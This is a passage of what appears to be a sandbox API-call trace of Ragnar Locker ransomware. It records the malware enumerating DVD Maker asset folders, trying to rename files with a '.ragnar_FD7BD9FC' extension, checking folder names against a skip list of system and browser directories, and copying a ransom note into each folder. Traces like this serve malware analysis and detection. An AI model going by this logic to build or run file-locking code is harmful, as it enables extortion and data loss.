lpString1="SpecialNavigationRight_SelectionSubpicture.png") returned="SpecialNavigationRight_SelectionSubpicture.png" [0079.273] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png") returned=".png" [0079.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.274] CloseHandle (hObject=0xffffffff) returned 0 [0079.274] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" [0079.274] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.274] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationright_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.274] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f55187a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f55187a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1302, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.274] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.274] lstrcpyW (in: lpString1=0x1eab68, lpString2="SpecialNavigationUp_ButtonGraphic.png" | out: lpString1="SpecialNavigationUp_ButtonGraphic.png") returned="SpecialNavigationUp_ButtonGraphic.png" [0079.274] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png") returned=".png" [0079.274] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.274] CloseHandle (hObject=0xffffffff) returned 0 [0079.274] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" [0079.274] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.275] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.275] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5779d7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5779d7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpecialNavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.275] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.275] lstrcpyW (in: lpString1=0x1eab68, lpString2="SpecialNavigationUp_SelectionSubpicture.png" | out: lpString1="SpecialNavigationUp_SelectionSubpicture.png") returned="SpecialNavigationUp_SelectionSubpicture.png" [0079.275] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png") returned=".png" [0079.275] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.276] CloseHandle (hObject=0xffffffff) returned 0 [0079.276] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" [0079.276] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.276] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationup_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.276] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3fac35, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3fac35, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="specialoccasion.png", cAlternateFileName="")) returned 1 [0079.276] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.276] lstrcpyW (in: lpString1=0x1eab68, lpString2="specialoccasion.png" | out: lpString1="specialoccasion.png") returned="specialoccasion.png" [0079.276] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png") returned=".png" [0079.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.276] CloseHandle (hObject=0xffffffff) returned 0 [0079.276] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" [0079.276] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png.ragnar_FD7BD9FC" [0079.276] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialoccasion.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialoccasion.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.277] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f4b9306, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f4b9306, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff1c74f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1917, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemask1047.png", cAlternateFileName="")) returned 1 [0079.277] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.277] lstrcpyW (in: lpString1=0x1eab68, lpString2="whitemask1047.png" | out: lpString1="whitemask1047.png") returned="whitemask1047.png" [0079.277] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png") returned=".png" [0079.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.277] CloseHandle (hObject=0xffffffff) returned 0 [0079.277] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" [0079.277] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png.ragnar_FD7BD9FC" [0079.277] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitemask1047.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitemask1047.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.277] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 1 [0079.277] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0079.277] lstrcpyW (in: lpString1=0x1eab68, lpString2="whitevignette1047.png" | out: lpString1="whitevignette1047.png") returned="whitevignette1047.png" [0079.277] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png") returned=".png" [0079.278] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.278] CloseHandle (hObject=0xffffffff) returned 0 [0079.278] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" [0079.278] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png.ragnar_FD7BD9FC" [0079.278] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\whitevignette1047.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\whitevignette1047.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.278] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f46d04c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f46d04c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x296fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitevignette1047.png", cAlternateFileName="")) returned 0 [0079.278] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.278] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports", cAlternateFileName="")) returned 1 [0079.278] lstrcmpiW (lpString1="Sports", lpString2=".") returned 1 [0079.278] lstrcmpiW (lpString1="Sports", lpString2="..") returned 1 [0079.278] lstrcmpiW (lpString1="Sports", lpString2="Windows") returned -1 [0079.278] lstrcmpiW (lpString1="Sports", lpString2="Windows.old") returned -1 [0079.278] lstrcmpiW (lpString1="Sports", lpString2="Tor browser") returned -1 [0079.278] lstrcmpiW (lpString1="Sports", lpString2="Internet Explorer") returned 1 [0079.278] lstrcmpiW (lpString1="Sports", lpString2="Google") returned 1 [0079.278] lstrcmpiW (lpString1="Sports", lpString2="Opera") returned 1 [0079.278] lstrcmpiW (lpString1="Sports", lpString2="Opera Software") returned 1 [0079.278] lstrcmpiW (lpString1="Sports", lpString2="Mozilla") returned 1 [0079.278] lstrcmpiW (lpString1="Sports", lpString2="Mozilla Firefox") returned 1 [0079.278] lstrcmpiW (lpString1="Sports", lpString2="$Recycle.Bin") returned 1 [0079.278] lstrcmpiW (lpString1="Sports", lpString2="ProgramData") returned 1 [0079.279] lstrcmpiW (lpString1="Sports", lpString2="All Users") returned 1 [0079.279] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.279] lstrcpyW (in: lpString1=0x1eb620, lpString2="Sports" | out: lpString1="Sports") returned="Sports" [0079.279] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\" [0079.279] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\" [0079.279] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\RGNR_FD7BD9FC.txt" [0079.279] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.282] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*" [0079.282] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3a [0079.282] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.282] lstrcpyW (in: lpString1=0x1ea742, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.282] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x817f2a00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x817f2a00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.282] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.282] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x817f2a00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x817f2a00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.282] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.283] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1 [0079.283] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2=".") returned 1 [0079.283] lstrcmpiW (lpString1="CircleSubpicture.png", lpString2="..") returned 1 [0079.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoldRing.png", cAlternateFileName="")) returned 1 [0079.283] lstrcmpiW (lpString1="GoldRing.png", lpString2=".") returned 1 [0079.283] lstrcmpiW (lpString1="GoldRing.png", lpString2="..") returned 1 [0079.283] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0079.283] lstrcmpiW (lpString1="highlight.png", lpString2=".") returned 1 [0079.283] lstrcmpiW (lpString1="highlight.png", lpString2="..") returned 1 [0079.283] FindNextFileW (in: 